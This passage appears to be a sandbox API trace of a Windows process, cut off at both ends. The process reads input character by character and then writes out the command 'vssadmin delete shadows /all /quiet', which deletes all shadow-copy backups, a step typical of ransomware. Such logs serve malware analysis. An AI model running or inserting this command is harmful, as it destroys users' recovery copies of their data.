lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.630] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0106.630] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.630] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.630] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0106.630] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.630] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.630] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.630] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0106.631] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.631] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.631] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0106.631] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.631] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.631] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0106.631] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.631] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.631] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.631] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0106.632] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.632] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.632] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0106.632] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.632] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.632] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0106.632] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.632] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.632] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.632] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0106.632] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.633] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.633] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.633] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0106.633] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.633] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.633] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.633] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0106.633] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.633] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.633] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.633] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0106.633] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.633] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.633] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0106.634] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.634] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.634] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0106.634] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.634] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.634] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0106.634] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.634] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.634] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0106.635] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.635] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.635] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.635] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0106.635] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.635] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.635] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.635] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0106.635] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.635] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.635] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.635] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0106.636] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.636] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.636] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.636] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0106.636] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.636] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.636] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.636] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0106.636] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.636] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.636] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.636] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0106.636] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.637] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.637] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.637] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0106.637] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.637] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.637] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.637] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0106.637] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.637] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.637] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.637] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0106.638] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.638] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.638] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.638] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0106.638] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.638] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.638] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0106.639] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.639] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.639] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0106.639] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.639] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.639] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0106.639] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.639] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.639] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0106.639] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.639] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.640] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0106.640] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.640] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.640] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0106.640] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.640] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.640] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0106.640] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.640] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.640] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0106.641] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.641] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.641] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0106.641] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.642] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.642] ReadFile (in: hFile=0x264, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x70c73ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0x70c73ffbb8*=0x1, lpOverlapped=0x0) returned 1 [0106.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0106.644] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.644] GetFileType (hFile=0x264) returned 0x3 [0106.644] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.645] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.645] _get_osfhandle (_FileHandle=1) returned 0x270 [0106.645] GetFileType (hFile=0x270) returned 0x3 [0106.645] _get_osfhandle (_FileHandle=1) returned 0x270 [0106.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0106.645] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x70c73ffb58, lpOverlapped=0x0 | out: 